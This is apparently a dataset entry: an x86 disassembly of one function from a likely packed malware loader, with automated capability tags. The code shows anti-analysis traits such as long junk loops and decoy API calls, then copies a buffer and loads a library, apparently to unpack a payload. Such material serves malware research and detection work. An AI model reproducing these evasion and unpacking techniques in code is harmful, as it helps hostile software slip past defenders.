Function at 0x40b310
Capabilities:
Check for software breakpoints
Connect pipe
Get common file path
Get file attributes
Get geographical location
Set console window title
Set http header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x410db1
mov eax, dword fs:[0]
push eax
sub esp, 0x898
mov eax, dword [0x5d407c]
xor eax, esp
mov dword [esp + 0x890], eax
push ebx
push esi
push edi
mov eax, dword [0x5d407c]
xor eax, esp
push eax
lea eax, [esp + 0x8a8]
mov dword fs:[0], eax
mov edx, dword [0x5d5d80]
mov ecx, dword [0x6d5e04]
xor ebx, ebx
xor eax, eax
mov esi, 0xec58acac
cmp eax, 0x8450db
jne 0x40b372
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x40b38a
mov dword [0x5d73d8], esi
mov dword [0x5d73dc], 0xffffffff
inc eax
cmp eax, 0xb9fa618
jl 0x40b365
mov edi, dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
mov dword [0x6d5e04], ecx
xor esi, esi
cmp esi, 0x562d05
jne 0x40b3b2
mov eax, dword [0x5d5d74]
mov dword [0x6d618c], eax
cmp ecx, 0x3c
jne 0x40b3c0
push ebx
call edi
mov ecx, dword [0x6d5e04]
inc esi
cmp esi, 0x5f6c74
jl 0x40b3a0
cmp ecx, 0x7c
jne 0x40b522
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
call dword [sym.imp.KERNEL32.dll_SetSystemTime]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
lea edx, [esp + 0x64]
push edx
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.USER32.dll_CopyRect]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push ebx
push ebx
lea ecx, [esp + 0xa4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
cmp dword [0x6d5e04], 0x2d
jne 0x40b476
push ebx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x8b0], ebx
mov edi, 0x22
lea esi, [esp + 0x2c]
mov dword [esp + 0x40], 0xf
mov dword [esp + 0x3c], ebx
mov byte [esp + 0x2c], 0
call fcn.00401210
push 1
lea ecx, [esp + 0x1c]
mov byte [esp + 0x8b4], 1
call fcn.00401490
mov edi, dword [esp + 0x1c]
mov eax, esi
push eax
mov ecx, edi
call fcn.00401af0
add esp, 4
add edi, 0x1c
cmp dword [esp + 0x40], 0x10
jb 0x40b4e3
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.004023ff
add esp, 4
push ebx
call fcn.0040240a
mov dword [esp + 0x8b4], 0xffffffff
mov ebx, dword [esp + 0x1c]
add esp, 4
test ebx, ebx
je 0x40b51a
mov esi, ebx
cmp ebx, edi
je 0x40b511
call fcn.00401c00
add esi, 0x1c
cmp esi, edi
jne 0x40b505
push ebx
call fcn.004023ff
add esp, 4
mov ecx, dword [0x6d5e04]
xor ebx, ebx
cmp ecx, 0x110a
jne 0x40b642
push ebx
push ebx
push ebx
push ebx
mov dword [0x6d5df8], ebx
mov dword [0x6d5dfc], ebx
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
cmp dword [0x6d5e04], 0xcc
jne 0x40b55a
mov dword [0x5d73d0], 0x14
push str.bikeyu
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.logafayoduwod
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
call fcn.004022d1
mov edi, 7
xor edx, edx
add esp, 4
lea esi, [edi - 6]
lea eax, [esp + 0x2c]
mov dword [esp + 0x40], edi
mov dword [esp + 0x3c], ebx
mov word [esp + 0x2c], dx
call fcn.004012e0
push str.0__s__d__f
mov dword [esp + 0x8b4], 2
call fcn.004023e2
add esp, 4
push ebx
call fcn.004022d1
xor eax, eax
mov word [esp + 0x4c], ax
add esp, 4
lea eax, [esp + 0x48]
mov dword [esp + 0x5c], edi
mov dword [esp + 0x58], ebx
call fcn.004012e0
push ebx
call fcn.004022d1
add esp, 4
push 0x5d2170
push 0x5d6ed8
call fcn.00401da8
mov esi, 8
add esp, 8
cmp dword [esp + 0x5c], esi
jb 0x40b615
mov ecx, dword [esp + 0x48]
push ecx
call fcn.004023ff
add esp, 4
xor edx, edx
mov dword [esp + 0x8b0], 0xffffffff
mov dword [esp + 0x5c], edi
mov dword [esp + 0x58], ebx
mov word [esp + 0x48], dx
cmp dword [esp + 0x40], esi
jb 0x40b642
mov eax, dword [esp + 0x2c]
push eax
call fcn.004023ff
add esp, 4
call fcn.0040b010
xor esi, esi
cmp dword [0x6d5e04], ebx
jbe 0x40b69d
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
jmp 0x40b660
mov ecx, dword [0x6d618c]
mov dword [esp + 0x14], ecx
mov eax, 0xa231
add dword [esp + 0x14], eax
cmp dword [0x6d5e04], 0x5ab
mov edx, dword [esp + 0x14]
mov al, byte [edx + esi]
mov ecx, dword [0x6d5b24]
mov byte [ecx + esi], al
jne 0x40b694
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x6d5e04]
jb 0x40b660
push 0x5d2174
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.0040b050
call fcn.0040b280
call fcn.0040b040
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
lea edx, [esp + 0x74]
push edx
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x40b6e8
cmp dword [esp + 0x7c], 0xf5bed7
jne 0x40b6f1
inc esi
cmp esi, 0x1ece7a52
jl 0x40b6c5
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor esi, esi
nop
cmp dword [0x6d5e04], 0xcc1
jne 0x40b70e
call ebx
cmp esi, 0x12e6c3
jne 0x40b71b
call fcn.0040b000
cmp dword [0x6d5e04], 0x3dc
mov dword [0x6d5b2c], 0x8e46a6f0
jne 0x40b744
push 0
push 0
push 0
push 0
push 0
push 0
push str.bosohulema
call edi
inc esi
cmp esi, 0x1519a5
jl 0x40b700
mov ecx, dword [esp + 0x8a8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x890]
xor ecx, esp
call fcn.00401d99
mov esp, ebp
pop ebp
ret